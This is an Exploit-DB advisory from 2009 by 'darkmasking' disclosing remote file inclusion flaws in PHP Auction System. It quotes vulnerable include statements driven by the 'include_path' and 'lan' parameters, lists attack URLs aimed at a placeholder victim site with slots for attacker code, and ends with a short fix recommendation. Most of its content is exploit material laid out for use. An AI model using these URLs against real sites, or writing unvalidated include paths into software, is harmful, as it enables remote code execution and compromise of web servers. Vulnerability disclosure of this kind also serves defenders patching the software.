Exploit-DB #7678
Description: PHPAuctionSystem - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-01-06
Author: darkmasking

Exploit:
[횂쨩]=======================================================================================================[_][-][X]
[횂쨩]                                                                             				[횂쨩]
[횂쨩]      		   PHPAuctionSystem Multiple Remote File Inclusion Vulnerability    			[횂쨩]
[횂쨩]              				         							[횂쨩]
[횂쨩]            		 	=======    ------d-------m------     ====    ====   				[횂쨩]
[횂쨩]             	 	||     =        | |(o o)| |          ||   ||   ||   				[횂쨩]
[횂쨩]             		||     =          ||(~)||            ||        ||   				[횂쨩]
[횂쨩]             	 	=======             /|\              ||        ||  				[횂쨩]
[횂쨩]=============================================================================================================[횂쨩]
[횂쨩] 				Author         	: ~darkmasking~		 					[횂쨩]
[횂쨩] 				Date           	: January, 6th 2009           					[횂쨩]
[횂쨩] 				Web           	: https://www.idsafeshield.com					[횂쨩]
[횂쨩]           		 	Contact        	: support[at]idsafeshield[dot]com  				[횂쨩]
[횂쨩]					Critical Level 	: Dangerous			  			[횂쨩]
[횂쨩]-------------------------------------------------------------------------------------------------------------[횂쨩]
[횂쨩]              		       Affected software description :        					[횂쨩]
[횂쨩]   				Software 	: PHP Auction System						[횂쨩]
[횂쨩]          			Vendor		: http://www.phpauctions.info/					[횂쨩]
[횂쨩]            			Price 	      	: $59.99							[횂쨩]
[횂쨩]=============================================================================================================[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]	[~] Vulnerable file											[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]		[+] all file below is affected by "include_path" parameter					[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]		./includes/settings.inc.php									[횂쨩]
[횂쨩]		$password_file = $include_path."passwd.inc.php";						[횂쨩]
[횂쨩]		include($password_file);									[횂쨩]
[횂쨩]		include $include_path."fonts.inc.php";								[횂쨩]
[횂쨩]		include $include_path."fontsize.inc.php";							[횂쨩]
[횂쨩]		include($include_path."currency.inc.php");							[횂쨩]
[횂쨩]		include($include_path."errors.inc.php");							[횂쨩]
[횂쨩]		include($include_path."https.inc.php");								[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]		./includes/auction_confirmation.inc.php								[횂쨩]
[횂쨩]		require("./includes/messages.inc.php");								[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]		./includes/converter.inc.php									[횂쨩]
[횂쨩]		include($include_path."nusoap.php");								[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]		./includes/messages.inc.php									[횂쨩]
[횂쨩]		require($include_path.'messages.'.$language.'.inc.php');					[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]		./includes/stats.inc.php									[횂쨩]
[횂쨩]		include $prefix."includes/useragent.inc.php";							[횂쨩]
[횂쨩]		include $prefix."includes/domains.inc.php";							[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]		./includes/useragent.inc.php									[횂쨩]
[횂쨩]		include $prefix."includes/browsers.inc.php";							[횂쨩]
[횂쨩]		include $prefix."includes/platforms.inc.php";							[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]		./includes/user_confirmation.inc.php								[횂쨩]
[횂쨩]		require("./includes/messages.inc.php");								[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]		[+] All file below is affected by "lan" parameter						[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]		./browse.php											[횂쨩]
[횂쨩]		./search.php											[횂쨩]
[횂쨩]		if(!empty($_GET['lan'])) {									[횂쨩]
[횂쨩]			$language = $lan;									[횂쨩]
[횂쨩]			$_SESSION['language'] = $language;							[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]		#// Set language cookie										[횂쨩]
[횂쨩]			setcookie("USERLANGUAGE",$lan,time()+31536000,"/");					[횂쨩]
[횂쨩]		} elseif(empty($_SESSION['language']) && !isset($_COOKIE['USERLANGUAGE'])) {			[횂쨩]
[횂쨩]			$language = $SETTINGS['defaultlanguage'];						[횂쨩]
[횂쨩]			$_SESSION['language'] = $language;							[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]		#// Set language cookie										[횂쨩]
[횂쨩]			setcookie("USERLANGUAGE",$language,time()+31536000);					[횂쨩]
[횂쨩]		} elseif(isset($_COOKIE['USERLANGUAGE'])) {							[횂쨩]
[횂쨩]			$language = $_COOKIE['USERLANGUAGE'];							[횂쨩]
[횂쨩]		}												[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]		require($include_path.'messages.'.$language.'.inc.php');					[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]-------------------------------------------------------------------------------------------------------------[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]	[~] Exploit												[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]	[+] "include_path" parameter										[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]	http://www.darkvictims.com/[path]/includes/settings.inc.php?include_path=[darkcode]			[횂쨩]
[횂쨩]	http://www.darkvictims.com/[path]/includes/auction_confirmation.inc.php?include_path=[darkcode]		[횂쨩]
[횂쨩]	http://www.darkvictims.com/[path]/includes/converter.inc.php?include_path=[darkcode]			[횂쨩]
[횂쨩]	http://www.darkvictims.com/[path]/includes/messages.inc.php?include_path=[darkcode]			[횂쨩]
[횂쨩]	http://www.darkvictims.com/[path]/includes/stats.inc.php?include_path=[darkcode]			[횂쨩]
[횂쨩]	http://www.darkvictims.com/[path]/includes/useragent.inc.php?include_path=[darkcode]			[횂쨩]
[횂쨩]	http://www.darkvictims.com/[path]/includes/user_confirmation.inc.php?include_path=[darkcode]		[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]	[+] "lan" parameter											[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]	http://www.darkvictims.com/[path]/browse.php?lan=[darkcode]						[횂쨩]
[횂쨩]	http://www.darkvictims.com/[path]/search.php?lan=[darkcode]						[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]-------------------------------------------------------------------------------------------------------------[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩] 	[~] How to fix this vulnerability									[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]    	Edit the source code to ensure that input is properly validated. Where is possible, 			[횂쨩]
[횂쨩]    	it is recommended to make a list of accepted filenames and restrict the input to that list.		[횂쨩]
[횂쨩]														[횂쨩]
[횂쨩]